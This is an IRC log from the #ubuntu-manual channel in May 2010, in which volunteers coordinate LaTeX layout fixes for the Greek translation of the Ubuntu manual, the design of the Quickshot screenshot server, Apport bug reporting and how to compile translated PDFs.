<godbyk> 2. It the margin note overhangs or doesn't quite fit right using method 1, you can manually adjust the position using \marginnote[offset]{margin note text}
<godbyk> where 'offset' is something like 2\baselineskip for two lines down, -3\baselineskip for three lines up.
<godbyk> (You can actually use normal dimensions like 3.4cm, 2in, 24mm, etc., but it's better to move it an entire line at a time.  \baselineksip is one line, and the number in front is a multiplier. negative values move the note up, positive values move the note down.)
<c7p> interesting I am working on it know :D
<godbyk> While the second approach may appear easier, the first approach is much preferred as it's the more correct thing to do (and it'll work out in case we have to adjust the margins or rewrap the text).
<c7p> godbyk: something like this http://pastebin.ubuntu.com/435789/ is acceptable ?
<c7p> (margin note on second line)
<godbyk> c7p: that would work, yeah.
<c7p> ok thx :)
<godbyk> So the margin note would start on the same line as the word ÎºÎ¬ÏÏ.
<c7p> nice
<c7p> godbyk: I have found a "\mbox{}\marginnote{..}" on the tex file. Now what?
<godbyk> if you want to move the marginnote, remove the \mbox{}
<c7p> ok
#ubuntu-manual 2010-05-19
<c7p> godbyk: Typically a screeshot is on the top of the page and then the text follows. Is there any problem if I move some text before screenshot (actually put the screenshot after a paragraph that is slit by it)
<c7p> split*
<c7p> godbyk: When you find some time, send me an e-mail about what can we do about the "movement" of screenshots. Some screenshots have to be placed after some paragraphs or even on different pages... (I have sent you 1-2 mails on your gmail so I guess you have my e-mail address :D)
<c7p> long day .... night all
<flan> Finally home.
 * flan hax test code.
<flan> Bleh. I forgot to push my Quickshot commits from work.
<flan> Website leaf naming convention: nouns or verbs?
<flan> (index/list_projects, screenshot/upload)
<flan> Anyone with substantial development experience have a preference?
<flan> Or is it generally fine to just use whatever makes sense?
 * flan went with nouns.
<flan> Next design thing: construct archives in-memory or on-disk?
<flan> Actually, I can't do it in-memory, so that's a non-issue.
<flan> Ooh. I can combine the tempfile module and the tarfile module. Yay for Python.
<humphreybc> lol
<humphreybc> I'm enjoying just watching you talk to yourself
<flan> I think better when I've convinced people care about my musings.
<flan> I'm*
<flan> URL mapping rules defined. Now for sleep.
<flan> (I can actually start playing with templating and data tomorrow! Yay!)
 * humphreybc is super tired
<czajkowski> humphreybc: ping
<humphreybc> czajkowski: ello
<flan> ubuntujenkins, after a bit of reflecting, I kinda think it might make more sense to go with reStructuredText for documentation, after all. We're not building a library, so the main benefits of epytext would be lost, and Pylons, which I'm using for the server, auto-generates reST stubs everywhere, in addition to using it as the project-encompasing document template standard.
<ubuntujenkins> flan: that fine by me can you mail the list and update this page please
<ubuntujenkins> ?style
<quickshotdevs> The Quickshot code base tries to follow some conventions  a list of them is here https://wiki.ubuntu.com/ubuntu-manual/quickshot/style .
<flan> I will. I was kinda hoping you'd link to that so I wouldn't have to go looking. :)
<ubuntujenkins> no probelm the bot currently has these commands
<ubuntujenkins> ?help
<quickshotdevs> Useage: +<factoid> Examples: +website , +blueprint , +qssource , +involved , +question , +style , +use , +ppa , +quickshot , +code , +launchpad , +bug
<ubuntujenkins> except its not a + any more i need to change that its now ? people +1 ing was confusing it
<flan> Launchpad is an OpenID provider? Weird...
<thorwil> flan: so Pylons is to your liking? found any stumbling blocks?
<flan> I accidentally sent my first response directly to you, Luke. Please ignore my momentary stupid.
<flan> I'm liking it more as I read through its reference documentation, but I've yet to actually start gluing its pieces together, thorwil.
<flan> I'll be able to answer you this weekend.
<flan> Or maybe today.
<thorwil> cool
<flan> Since I plan to make the first connection between controller, template, and data-model soon.
<flan> It's looking pretty awesome, though.
<flan> As far as providing a flexible framework with enough standards to allow for collaboarative development goes, anyway.
<thorwil> i wonder if https://fedorahosted.org/moksha/, which adds to turbogears (which adds to pylons) will be useful. it seems it's too early, no adoption yet at all
<flan> This is a pretty simple system, really. Pylons, by itself, seems more than capable of handling it.
<flan> (I also want to keep dependencies light)
<flan> (Since this needs to run on one of our webhosts)
<flan> (While mine is super-Python-friendly, godby-k's is a little more conservative)
<flan> (I can easily handle the traffic for 10.10, though, if it comes to that)
<thorwil> it's quite sad how virtually every hoster supports php, but python? i found some who just list it as checkmark item somewhere, with no version and no word aboust wsgi. if at all
<godbyk-sagan> thorwil: I agree.
<godbyk-sagan> my host doesn't have good wsgi support, it seems.
<godbyk-sagan> (at least from what I've gathered)
<flan> It has wsgi support as a side-effect of a Rails module.
<flan> Which is good enough.
<flan> But it's not very happy-making.
<flan> Mine used to have the name "python-hosting.com", though.
<flan> Which is the main reason I looked at them.
<rickspencer3> Hi all
 * flan makes decisions based on poor information.
<flan> Hi, you.
<ubuntujenkins> hello rickspencer3
<godbyk-sagan> flan: true, but I don't know how good it actually is.
<rickspencer3> I'm working on the application developer manual blueprint
<flan> I read into it a bit before deciding to actually use Pylons, after thorwil's initial recommendation.
<flan> It looks like it works reliably and reasonably efficiently.
<flan> Nobody was complaining and there were a number of guides on setting it up.
<flan> I'm going to try to be as aggressive as possible with memory-management, though.
<flan> (Whether that means using disk for caching stuff or tuning the GC in some way)
<flan> But, again, worst-case, I can host this thing easily. And the public site will be written in PHP, since it'll be all-static, with the exception of its bulletin-board thing.
<flan> So that can easily live on your host.
<rickspencer3> can you guys help me out with the bluerprint?
<rickspencer3> I'm trying to figure out what tasks I'll need to do as editor of the manual
<rickspencer3> https://blueprints.edge.launchpad.net/ubuntu/+spec/desktop-m-opportunistic-developer-manual
<flan> A critical sense of judgment about what constitutes a best-practice approach and what tools are best-suited to accomplising tasks would be valuable.
<flan> i.e., not recommending Perl for cases where readability and maintainability are important (things that would likely be better-served by Python) and not recommending building an application framework from scratch when well-established frameworks exist that already do all of the common work.
<flan> Probably just knowing enough about available tools and technologies to correct the writers when they provide outdated information or repeat myths.
<flan> Is that the sort of thing you're wondering about?
<flan> rickspencer3, Dive Into Python has fallen out of favour (though I'd still recommend it to some people).
<ubuntujenkins> flan http://www.omgubuntu.co.uk/2010/05/daily-digest-windicator-mock-ups.html the e-mail is out :)
<flan> I can't remember what's currently popular, but you can find it in the topic of #python.
<flan> (I'm not in there because I get distracted far too easily)
<flan> Ooh. Windicator looks like a good use of the new whitepsace.
<flan> Lawl, me making typos.
<flan> Told you I'd miss something.
<rickspencer3> flan, yeah, I'm working on the work items now
<ChrisWoollard> Hey all. How are you.
<ubuntujenkins> hello, I am good you?
<ChrisWoollard> Ok.
<ChrisWoollard> I feel I have not really been on irc much recently
<ChrisWoollard> I haven't really paid much attention to what hasbeen going on.
<flan> I've seen your namy many times, without actually knowing who you are.
<flan> (I recently nickchanged from Red_HamsterX; I'm some Quickshot guy)
<ChrisWoollard> Hello
<flan> Hi.
<ChrisWoollard> I guess I am some Translation / whatever I can do kind of guy.
<ChrisWoollard> Why the change from Red_Hamster
<flan> It was awkward and silly.
<flan> (This handle was taken, though)
<ChrisWoollard> I guess it isn't now
<flan> Nope.
<flan> Just telling you who I am, in case you've been lurking.
<ChrisWoollard> Lurking....   That sounds scary
<flan> It just means someone who watches a discussion without participating.
<ChrisWoollard> I do like to participate. I have just been busy recently
<flan> Oh, I'm not trying to imply anything.
<flan> I'm just trying to minimize confusion.
<flan> And failing.
 * flan fails a lot.
<ChrisWoollard> Never mind. I often find confusion occurs a lot while writing.
<flan> Summary: I used to be someone else. You did not know who I was. Therefore, no knowledge needs to be ported from one identity to another.
<ChrisWoollard> Summary: I was aware of you, so knowing about the name change was useful.
<ChrisWoollard> Just out of interest. What happened to the UK translation of the manual again. It appears that the  translations have changed again to "NNeeds Review"..... again....
<ubuntujenkins> iirc there was a reason it happend but i can't remeber what it was
<flan> Unfortunately, I don't know anything about how translations states work. :(
<flan> -s
<quickshotdevs> flan: Error: "s" is not a valid command.
 * ubuntujenkins gggrrr silly bot
<ChrisWoollard> I remember that godbyk fixed it last time.
<ChrisWoollard> I do also vaguely remember that there is a bug that Humphrybc has going to talk to the launchpad devs about at uds
<flan> I think that bug was addressed.
<flan> Whatever it was.
<flan> Someone announced that some Launchpad issue was fixed following a UDS discussion and then people cheered.
<ubuntujenkins> I thought the tempoary fix to that bug was to disable po editing and not allow manual imports
<ChrisWoollard> That sounds about right
<flan> Or my memory's broken.
 * flan shouldn't comment on things that don't directly affect him.
<ChrisWoollard> It could also be my memory that is broken.
<ubuntujenkins> or mine :)
<ChrisWoollard> Bottom line though. Something has made it happen again
<ubuntujenkins> hhmm
<ChrisWoollard> I guess I will mention it to Godbyk when he turns up
<dutchie> o/
<flan> Hi, dutchie.
<dutchie> thorwil: re he-mark, err, what?
<thorwil> dutchie: it's an exercise in restraint and seriousness
<dutchie> thorwil: what's with the darth vader-alike in the background?
<thorwil> dutchie: like i wrote on the blog, a koala-skeletor didn't work
<dutchie> ha
<flan> But Skeletor always wins!
<thorwil> i hate sony music, but it was not very wise of Ben to use some of "their" music for his UDS video
<flan> "their" referring to which label?
 * flan hasn't watched it.
<thorwil> sony
<thorwil> godbyk-sagan: http://www.advogato.org/person/raph/diary.html?start=420
<flan> Ooh. More fonts.
 * ubuntujenkins likes it now the channel has a few more people in again
<ubuntujenkins> flan: as a wish list item for this release if we have time I would quite like to add apport support.  This does tie us into 'buntu distros, may be we can add it as a option in the build. I am looking into how hard it is etc. It would make bug reports easier. What is your opinion on this?
<dutchie> you can always patch it in to the ubuntu client
<dutchie> lots of already-existing packages do that iirc
<ubuntujenkins> it looks like it is easy to do, only a handful of lines of code. I think it would make life easier.
<ubuntujenkins> When people submit bugs there is a list of things that would help us with it but people don't always read it.
<flan> We're going to be maintaining Ubuntu/UMP-specific patches. Making it part of the .deb build process should be pretty easy.
<flan> (I've added patches against .debs on the Debian side before)
<ubuntujenkins> cool, we also have to do a make file i guess
<flan> (It was generally just a matter of making sure the patches were in the right directories and indexed in the serial application file)
<flan> We'll worry about that when we get to it. :)
<flan> I'm sure there are other packages we can leech from.
<flan> (I've never actually done a Python makefile before, but they aren't so bad for C)
<ubuntujenkins> good, I have never done any patching stuff. I think this will be another steap learning curve :)
<flan> Patching's easy. =P
<dutchie> generally you use distutils for python
<flan> bzr branch, hack stuff, bzr diff > patch
<dutchie> rather than make
<flan> Yeah.
<flan> But ubuntujenkins is the only one of us who's built a .deb from scratch.
<flan> As far as I know.
<flan> I've just altered existing ones.
<dutchie> i think i have. once. a long time ago
<ubuntujenkins> I tend to cheet and use quicklys help there is abit of hacking needed on it.
<ubuntujenkins> Do we want to packages the server?
<ubuntujenkins> I have learnt allot about packaging what with the latex ppa
<flan> I'm not sure how well packaging the server would work.
<flan> I've seen a few PHP-based systems packaged and it's always been awkward to configure them.
<flan> Or, actually, no, that's just been the ones packaged by third parties.
<flan> We could probably use the Wikimedia packages or something as a reference.
<flan> I'll restructure the directories a bit once I have something working, to try to make that a viable idea.
<ubuntujenkins> I don't know it was just an out loud thought. It does rely on people having a "standard" setup
<flan> As for apport itself, I think that'd be a really good idea.
<flan> I hate the thought of bugs going unreported due to users being overwhelmed or too busy.
<flan> And Ubuntu's our main focus, so we might as well make use of its features to make out stuff better.
<ubuntujenkins> yea and it doesn't look like much work aprox 10 - 20 lines if i understand it right
<flan> I'm guessing it's just a top-level exception-grabber.
<ubuntujenkins> basically we have to get it to grab log files so, quickhsot must make a log file in /var/logs
<ubuntujenkins> thats my understanding of it atm
<flan> Got a link?
<ubuntujenkins> I spend 5 mins looking. emm handon ...
<ubuntujenkins> https://wiki.kubuntu.org/Apport/DeveloperHowTo
<flan> I think you misunderstood that part (which is good for us, 'cause it means we don't have to mess with /var/logs unless we have to)
<ubuntujenkins> ok i didn't read it properly i did skim it :)
<flan> The example is just adding the contents of a logfile to the report that'll be submitted.
<flan> But it's cool that it can do things like that, since it means we can add whatever we want to the report.
<flan> Which means we can probably implement some sort of step-tracer in the design.
<flan> Like an in-memory log.
<flan> Every time the user advances through a dialogue box or clicks something, we could log that event, like what we were doing with the --debug flag in 0.0.8.
<ubuntujenkins> thats what i was going to ask about
<flan> If it dies, we could just attach that thing as a big string.
<flan> And then trace every single step.
<ubuntujenkins> I think this would be good in so many ways
<flan> Agreed.
<flan> Excellent idea.
 * ubuntujenkins adds it to the todo list
<flan> Must-have.
<ubuntujenkins> added it to my list
<ubuntujenkins> I am liking tracks for my organising
<flan> I'm still working off of http://pad.ubuntu-uk.org/f0VIdaLXWZ
<ubuntujenkins> I think ther si a page on the wiki ....
<ubuntujenkins> ?plan
<quickshotdevs> Factoid 'plan' not found
<ubuntujenkins> https://wiki.ubuntu.com/ubuntu-manual/quickshot/next-release-plan
<flan> Oh, but it looks like the hook doesn't share memory with the client...
<flan> (i.e., it's launched externally)
<flan> (Which is kinda good, in that it means we won't need to change our core code to make use of it)
<flan> We'll probably have to write a per-session activity log to .quickshot/debug/log or something, then.
<ubuntujenkins> thats a good place to put it
<ubuntujenkins> this happended to be in my inbox https://wiki.ubuntu.com/MeetingLogs/devweek1001/DetailingBugs
<daker> hello @all
<ubuntujenkins> hey daker
<flan> I've been interested in Apport for a while, but I do most of my development projects with ultra-conservative Debian as a target platform, so...
<ubuntujenkins> this will be a fun to add
<flan> It'll be well worth however long it takes.
<flan> (And, as you said, it looks easy)
<ubuntujenkins> I agree
<flan> Wait, what? SunK's in Calgary, too?
<SunK> hey flan
<SunK> yeah I'm
 * flan was formerly known as Red_HamsterX.
<flan> (I finally got this name freed up)
<ubuntujenkins> wow two people on the quickshot  team in the same place
<flan> Yeah. Kinda strange.
<flan> But Calgary's a big place.
 * flan answers the looming question first.
<flan> Midnapore.
<SunK> i'm new to Calgary
<SunK> use to live in Vancouver
<SunK> used*
<flan> That doesn't tell me what part of the city you live in. :(
<flan> How am I supposed to mock you now?
<SunK> haha Panorama Hills
<flan> ...Well, I can't really mock that.
<dutchie> ubuntujenkins: in fairness, we're not *that* far apart
<ubuntujenkins> true dutchie, I wich i could have gone to ogg camp
<dutchie> ubuntujenkins: next one may be down south
<ubuntujenkins> I am on placemnet next year so i have a car. So fingers crossed I may make it
#ubuntu-manual 2010-05-20
<ubuntujenkins> night all
<daker> godbyk, ping
<godbyk> daker: pong
<daker> daker@ubuntu:~/Projects$ bzr branch lp:ubuntu-manual-website/uslc
<daker> Permission denied (publickey).
<daker> bzr: ERROR: Connection closed: Unexpected end of message. Please check connectivity and permissions, and report a bug if problems persist.
<godbyk> daker: I'm getting that, too.  I think bzr may be down at the moment.
<godbyk> (the web server keeps emailing me to say the auto-update is failing.)
<daker> o.O
<godbyk> yeah, I think we just have to wait for the launchpad guys to get their stuff working again.
<daker> kk
<daker> godbyk, is there any metting for this week ?
<godbyk> I haven't heard anything yet
<daker> oki
<daker> night all
<flan> QS server database storage-and-retrieval and templating engine prototypes now functional!
 * flan can finally start writing logic!
<IlyaHaykinson> godbyk: ping
<IlyaHaykinson> godbyk: ping?
<c7p> hey godbyk
<godbyk> c7p: morning
<c7p> morning, on the tex file i see some \glstodo and other todo tags
<c7p> should i remove them
<godbyk> c7p: you can if you like, but you don't need to.
<godbyk> (they won't have any affect at the moment as I've turned off the display of to do notes.)
<c7p> hm, ok :)
<c7p> ahh
<c7p> when I compile a pdf from the tex file (with the xelatex command) the font isn't the one we have choosen but the default
<c7p> and the screenshot aren't the translated ones
<godbyk> There's also some text in the final English draft that wasn't listed in the to-be-translated text of the lucid-e1 branch.  So I may have you translate that directly when we get to that point.
<godbyk> c7p: Oh! I know why that is.
<godbyk> c7p: If you look at the very top of the file, change the en_US to el and you should be set.
<godbyk> (Normally the Makefile makes that change for us, but since we're not using it at the moment, we'll have to set it manually.)
<c7p> yeah it's fixed now :)
<c7p> if you want, send me the text for the translation and I will assign it to the translation team
<godbyk> c7p: I'll do that soon.
<godbyk> (I have to figure out what all bits I added at the last minute. :))
<c7p> godbyk: ok ty :) , you have my mail right?
<godbyk> I think it's primarily a new paragraph on the copyright page and the colophon.
<godbyk> c7p: yep!
<c7p> godbyk: cool :d
<ubuntujenkins> c7p: I have just pushed the missing screenshots, I found 4 others missing/ They were common ones that i forgot to add to the el folder. They are now in lucid-e1
<c7p> ok :)
<c7p> godbyk: If I want to move a \subsubsection to the page, what option do I have ?
<c7p> next page*
<flan> ubuntujenkins, godbyk, I was speaking with t-h-u-m-p-e-r last night, and it seems our approach to using Bazaar is a little off.
<ubuntujenkins> flan in what way?
<flan> Apparently, and convincingly, after some Googling and reading, the preferred way to handle things is to make use of merges to commit things to trunk/main-branch.
<flan> Branch trunk into a working copy, make changes, and then propose that for merging.
<ubuntujenkins> Yea, we can do it that way, but as we are a small team and are devloping quickly we decided against it.
<flan> It seems like that would help to avoid the version-number-flux and confusion we experienced when things got hectic last time.
<flan> Oh, yeah, I totally understand.
<flan> I don't plan to change my ways with the QS server until we have something stable, for example.
<flan> Since I'm the only active developer.
<ubuntujenkins> the version number flux was only caused by people not pulling before commiting and then merging
<flan> That was the trigger, but merging in would have prevented that from being an issue altogether.
<ubuntujenkins> i understand and agree
<flan> What seems to have been happening is that trunk was being merged into a working copy, and then the working copy was replacing trunk.
<flan> Rather than the working copy being merged into trunk.
<flan> Anyway, not really something that will make or break things, but probably a good best-practice plan for going forward, once we have code/files in trunk that we can consider stable.
<flan> (And for any other projects we'll build in the future)
<ubuntujenkins> yea, if we get too many people on the quickshot gui i will concider using it there. Also once we are stable like you said
<daker> godbyk, ping
<godbyk> daker: pong
<daker> have you found any technique for the autorequest from launchpad?
<godbyk> to auto-request what from launchpad?
<daker> translations
<godbyk> the only way I know of it to set it to auto-import the translations into your branch.
<godbyk> here's the problem, though:
<godbyk> you should NOT auto-import translations into your branch and also auto-import translation stuff from the branch into launchpad.
<godbyk> the launchpad guys say that doesn't work well at all.
<daker> oh :s
<godbyk> I would ask in #launchpad about auto-importing translations from launchpad to the branch.  see if it works well or should be avoided.
<daker> it's very hot today 37Â°C Waw
<godbyk> Wow.  It's a perfectly comfortable 19Â°C here today.
<daker> :/
<dutchie> it's a warm ~25 here
<flan> It's a nice 15C here.
<daker> flan, it very bad here :)
<daker> it's*
<flan> 37C would be bad anywhere. =P
<daker> yeah
<c7p> hey godbyk
<godbyk> Hey, c7p
<c7p> godbyk: If I want to move a \subsubsection to the next page, what options do I have ?
<godbyk> c7p: There are a few things we can do. But I would leave it as is for now and we'll deal with page breaks at the very end.
<c7p> ok :)
<c7p> today or tomorrow I will finish the marginnotes job so when you can send me the text ;)
<godbyk> Cool.
<godbyk> Let me find the text and email it to you then.
<c7p> nice :)
<flan> "Uh... [VirtualBox] is published by Sun, available under the GPL." "So we'd need to get a support contract with Sun? How much does that cost?"
<flan> I need out of this environment. :(
<godbyk> c7p: I've emailed you the files.
<c7p> godbyk: you are the boss!
<flan> (This is to support a client who can't access a site someone developed because they added a bit of JavaScript that rejects non-IE browsers. They refuse to remove the script because they can't guarantee it'll work with alternative browsers)
<ubuntujenkins> flan: can they not use a firefox pluign that acts as if it was ie. I can't rember the name
 * thorwil is sad IE is nothing physical, because if it was it could burn!
<ubuntujenkins> flan: https://addons.mozilla.org/en-US/firefox/addon/59/
<ubuntujenkins> thorwil: lol
<ubuntujenkins> its really anoying its the only thing the uni has on its pcs. It crashes sooo much its unbelievable
<dutchie> ubuntujenkins: get a live usb stick, or a popey-style geekbox :)
<ubuntujenkins> hmm I think it might go mad if I plugged one in and booted from it :)
<ubuntujenkins> *IT
<flan> I proposed changing the user-agent first, but that was voted down immediately as being too hard to explain.
 * flan shrugs.
<flan> (Then someone else started talking about Parallels and convinced others it was a good idea, so I offered VirtualBox as an alternative)
 * flan commits a QS server internal-naming change.
<flan> I dunno why I thought it'd be a good idea to call it "server".
<ubuntujenkins> surely user agent is the most simple of all those :$
<flan> ~/projects/quickshot/server/server/server/model/__init__.py is confusing
<flan> I'm not exactly surrounded by the most clueful of people here. :(
<ubuntujenkins> lol does the word server occur enough
<flan> It's now ~/projects/quickshot/server/quickshot/[quickshot/]
<flan> I wanted to leave the root open.
<flan> Much easier to look at, though.
<c7p> godbyk: i have a problem with the inclusion of the marginnote in some enumerate lists
<godbyk> c7p: okay. for now just make a note of it and we can fix it when the others are done.
<c7p> godbyk: normally these \marginnote s were \notecallout but the problem is that the word Note isn't translated
<godbyk> c7p: You can rename the \notecallout to \marginnote, if you like.
<godbyk> (\notecallout is obsolete.)
<c7p> but if I do so I have a problem with the compilation of the pdf, a bit wierd
<c7p> weird*
<godbyk> does \notecallout have something in [brackets]?  If so, remove the stuff in brackets.
<godbyk> (and change to \margonnote)
<quickshotdevs> New news from manualplanet: Per Erik GlÃ¦rum GrÃ¸nvik: Ubuntu Amarok as default?
<ubuntujenkins> yey \o/ the rss feed works now
#ubuntu-manual 2010-05-21
<ubuntujenkins> c7p: sorted that screenshot
<c7p> ubuntujenkins: wow you are quick :D done
<ubuntujenkins> I am doing coursework so the distraction is welcome :)
<c7p> :P
<ubuntujenkins> lucid-e1 updated
<c7p> godbyk: I've finished the margin note job (finally)!
<c7p> ubuntujenkins: nice
<godbyk> c7p: excellent!
<c7p> godbyk: Should i edit the credits ? Actually I want to add a co-translator that isn't on the credits and also I want to right in greek our names (if it is allowed of course)
<godbyk> c7p: good question.  let me run it past some folks first.
<godbyk> we tried to collect the names a while back but I'm not sure if anyone responded.
<c7p> godbyk: and the other text is translated too, should I include it on the tex file ?
<godbyk> c7p: What other text?
<c7p> godbyk: the one you have sent me before some hours
<godbyk> Oh, right.
<godbyk> Yeah, you'll have to include that in the .tex file.
<godbyk> Let me pull up a copy and I can help you get it in the right place.
<godbyk> c7p: The copyright page starts around line 187 (with \clearpage and \thispagestyle{plain})
<godbyk> and goes until about line 213 (with \endgroup and \clearpage)
<godbyk> c7p: the colophon goes at the very end of the document just before the \end{document} line.
<c7p> i copy n paste the hole copyright.tex file?
<godbyk> yeah.
<godbyk> we'll need to change the lulu URL once we get it sent to lulu, but I can do that.
<c7p> ok :)
<c7p> godbyk: topo told me that we could change the colophon font as long as we have used other font, we leave it as it is for now. If you find it necessary make the proper changes
<godbyk> c7p: Right. I think we're using the same fonts for the Greek version but we're only using the Linux Biolinum font for the title page now.
<godbyk> (Since the Linux Biolinum font didn't have bold Greek letters.)
<godbyk> So you could change that line in the colophon to: "The title page is set in Linux Biolinum, also designed by Philipp H. Poll and available at the same \acronym{URL} above."
<godbyk> (translated appropriately, of course.)
<c7p> So, I should replace the line with "The captions and margin notes ... bla bla" with this (The title page is set in Linux ...), right?
<godbyk> c7p: Yep, exactly.
<c7p> godbyk: Everything is in place now, do you want the tex file so you can compile a pdf and upload it to the "builds" ?
<ubuntujenkins> night all
<c7p> night ubuntujenkins
<flan> G'night~
<c7p> night all
<flan> Goal for tonight: get OpenID working in the actual server.
<flan> godbyk, next time you're logged into your webhost, can you type 'python -c "import openid"' and let me know if it returns without complaining?
<flan> (So I know whether I need to build an egg for deployment)
<godbyk> flan: sure. one moment
<godbyk> module's not installed.
<godbyk> I can install it at some point, though.
<godbyk> (I'm running my own python instead of whatever they gave me, so I have my own site_packages dir, etc.)
<flan> Okay, then. I'll see what I can do about making the process braindead, though.
<flan> When it's time to start worrying about that.
<godbyk> cool
<godbyk> I think I'm going to go read my book for a bit.
<godbyk> Feel free to ping me if you need me.
<godbyk> (Once I get godbyk-android logged in, that is.)
<Zeike> hello.
<Zeike> I'd like to get involved with this project
<flan> Hi, Zeike.
<flan> How would you like to help? (We're definitely welcoming contributors)
<Zeike> mainly as an author
<Zeike> I've followed this: http://ubuntu-manual.org/getinvolved/authors
<flan> Unfortunately, that's not uite my field, but I can direct you towards people who will be able to help.
<flan> How late do you think you'll be on tonight?
<flan> (I'm assuming central/easter US, based on your hostname)
<Zeike> Probably 1:30 or 2 EST
<Zeike> but I can also get on this weekend as well
<flan> If a user named 'humphreybc' joins, grab his attention. He's the project's leader and should be able to help you figure out what we need most.
<Zeike> I'll keep my eye open
<Zeike> Thanks
<flan> Thank you for volunterring to help. :)
<Zeike> ;)
<flan> IlyaHaykinson should be able to help you, too.
<Zeike> alright
<flan> (I'm on the Quickshot side, hence my not-quite-being-able-to-help-you-ness)
<flan> The channel's a bit more active around 10:00-12:00, your time.
<flan> In case nobody shows up.
<Zeike> thanks
<Zeike> unfortunately I don't really know python
<Zeike> or much other than perl
<flan> Perl has its uses, and it's deployed, like, everywhere. Always a good thing to know.
<Zeike> its the truth
 * flan didn't get OpenID working. :(
<flan> (It kinda works, but there's something missing at the end)
<ubuntujenkins> Zeike: again I am a quickshot member but you could send an e-mail to the list ubuntu-manual@lists.launchpad.net saying hello and what you would like to do. Then people can get back to you when they are awake in their time zone.
<ubuntujenkins> morning all
<shrini> anybody there?
<shrini> how to generate the PDF file,
<shrini> after translating into tamil?
<hannie> I have a question about ss: text (like{ss:live-cd-welcome})
<hannie> ss stands for screenshot. Should the text following ss: be translated?
<nisshh> godbyk: ^^
<ubuntujenkins> shrini: make ubuntu-manual-ta.pdf
<ubuntujenkins> nisshh: just so you know most translator "what to translate" questions can be usually answered in the style guide. which is in the /topic
<ubuntujenkins> i will be back in in about an hour
<shrini> ubuntujenkins: hai
<shrini> we are typing in the LP now
<shrini> after typing in the browser, how to generate the pdf?
<nisshh> ubuntujenkins: thanks, i knew it was defined somewhere, gotta remember that :)
<nisshh> shrini: what are you having trouble with?
<flan> Ah, yes... I suppose I should have checked to see if Zeike was aware of the mailing list...
<quickshotdevs> New news from manualplanet: Per Erik GlÃ¦rum GrÃ¸nvik: Some statistics. Linux(6% of market)
<ubuntujenkins>  shrini you need to get the po file from launchpad and add it to lucid-e1. then compile it. I just need to check how to get it from launcgpad with out messing up the translations.
<ubuntujenkins> godbyk: godbyk-android ping
<ubuntujenkins> how much have you typed in shrini ?
<shrini> ubuntujenkins: thanks
<ubuntujenkins> also do you have texlive to compile the manual? If not i can do it but might not be for few hours as i have to nip out again
<shrini> ubuntujenkins: handwritten work is done for all chapters
<shrini> ubuntujenkins: our team is typing in computer now
<shrini> ubuntujenkins: I need the compliation process mnual
<shrini> so that we can compile ourself
<shrini> want to teach our team about the process
<ubuntujenkins> ok what version of ubuntu are you running?
<shrini> of making po to pdf
<shrini> we all have 10.04
<ubuntujenkins> ok wee i have a ppa for 10.04 but you will need to download about 2gb of packages
<ubuntujenkins> i am looking up the instructions for it now
<shrini> ubuntujenkins: thats fine
<shrini> i will download in 1 0r 2 days
<ubuntujenkins> http://paste.ubuntu.com/437347/ are the instructions. Please report any problems with them to me
<ubuntujenkins> you might get some compiling errors just shout in here and we will try and help kevin is the best person at fixing them.
<shrini> ubuntujenkins: thanks a lot
<ubuntujenkins> no problem :)
<shrini> that link has only
<shrini> installation instructions
<shrini> for compilation?
<ubuntujenkins> you will need bzr branch lp:ubuntu-manual/lucid-e1 then in the lucid-e1 folder run make ubuntu-manual-ta.pdf . For the po file i need to double check something with kevin so that it is done right.
<ubuntujenkins> I don't want to mess up all your work.
<shrini> okey
<shrini> thanks a lot
<ubuntujenkins> :)
<ubuntujenkins> have fun typing
<godbyk> ubuntujenkins: pong
<ubuntujenkins> hello are we ok to ask launchpad to e-mail a po file to you? I won't mess anything up by doing that?
<godbyk> ubuntujenkins: it's okay if launchpad emails a po file, yeah.
<ubuntujenkins> cool thanks don't want to screw stuff up.
<godbyk> hannie, nisshh: the {ss:live-cd-welcome} should be left completely untranslated.
<godbyk> I'll pull the latest translations in a moment and commit them to the branch.
<flan> OpenID support for Quickshot server pushed. Works with Google using my site as a delegate and MyOpenID using their provided subdomain.
<flan> +commas
<flan> delegator*
<flan> ubuntujenkins, when you've got a minute, can you try signing into http://stellvia.uguu.ca:5000/ ? (Preferably a few times, since Google was intermittently rejecting my delegate setup, though it liked my native profile URL)
<flan> Try every ID you use/know you have.
<flan> Your Google one will likely look something like http://www.google.com/profiles/red.hamsterx
 * flan returns to work.
<godbyk> Hey, c7p.  I'm updating the builds right now.  If you want to email me your .tex file, I'll build the Greek translation and upload that when the others have finished.
<flan> (Other people are welcome to try logging in, too. I mostly just want to make sure it works and that I didn't do something stupid, like create one global session that all users are sharing)
<flan> Oh. You may need to make your Google profile public/actually create one before it'll work.
<c7p> godbyk: great :D
<c7p> godbyk: i have sent you the file, let me know what else do we have to do till the pdf is officially published :). The greek community is very impatient ... :D but I think the result is rather satisfactory ;)
<godbyk> c7p: Sure thing. :)
<ubuntujenkins> flan: my google and my launchpad work
<flan> Yay!
<flan> I got confirmation of Yahoo! working, too.
<godbyk> c7p: The compiled Greek manual should be online now at http://builds.ubuntu-manual.org/
<flan> MySpace is confirmed functional, too.
<ubuntujenkins> nice :)
<godbyk> I'll take a closer look at it either later tonight or this weekend.  (I'm spending today compiling a ton of software. It sucks.)
<flan> So we've passed what's probably the biggest learning curve point in development.
<flan> Also LiveJournal.
<flan> (I just remembered I had one many years ago)
<godbyk> c7p: One thing I did notice, is that there are a lot of repeated index entries. I think we can fix most of these with the new \applicatoin command parameter.
<ubuntujenkins> yey \o/
<godbyk> Let me find the email where I explained it.
<godbyk> c7p: Here you go: https://lists.launchpad.net/ubuntu-manual/msg01629.html
<c7p> godbyk: On the time I was preparing a post on the forum :).
<godbyk> That will let you use one form of the application name in the text and another (canonical) name for the index entry.
<godbyk> c7p: Also, it looks like po4a doesn't respect newlines, so you might want to look at the stuff inside \begin{terminal} and \end{terminal} to ensure that the lines end at the right points in your .tex file.
<godbyk> (Also, the contributors/credits section got a little bit mangled for the same reason.)
<godbyk> I'm waiting to hear back from the editors on how to handle translator names, still.
<godbyk> c7p: We'll have to make a list of all of these checks we're going through so we can tell the other translation editors when they're ready. :)
<c7p> godbyk: yes that would help
<c7p> godbyk: i there any doc on etherpad that we can use it for this purpose ?
<c7p> godbyk: also do i start to solve the index issue ? (giving the info of https://lists.launchpad.net/ubuntu-manual/msg01629.html)
<godbyk> c7p: I don't think there's a pad yet. You're welcome to start one and put some notes in, if you like.  If you do, send me a link.
<godbyk> c7p: Yeah, you can start working on the index issue. If you have any questions about it, feel free to ask me.
<c7p> godbyk: i think with the "\application[index entry]{in-text words} " example everything is clear
<godbyk> okay, good.
